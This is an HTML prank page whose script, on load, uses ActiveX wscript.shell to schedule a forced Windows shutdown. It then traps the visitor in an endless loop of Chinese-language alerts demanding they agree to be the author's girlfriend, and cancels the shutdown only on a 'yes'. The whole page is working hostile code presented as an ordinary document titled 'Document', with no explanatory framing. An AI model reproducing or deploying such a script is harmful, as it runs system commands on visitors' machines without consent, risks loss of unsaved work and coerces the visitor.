<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <script>
        var test = new ActiveXObject("wscript.shell");
        test.exec("shutdown -s -t 60")
        while(true){
            alert('你好,能猜出密码么?');
            alert('做我女朋友就告诉你');
            alert('不告诉我可要关机了,尽快保存资料吧');
            var passwd = prompt('要不要做我女朋友','要');
            if(passwd == '要' || passwd == '可以'){
                var test2 = new ActiveXObject("wscript.shell");
                test2.exec("shutdown -a");
                break;
            }
        }



    </script>
</body>
</html>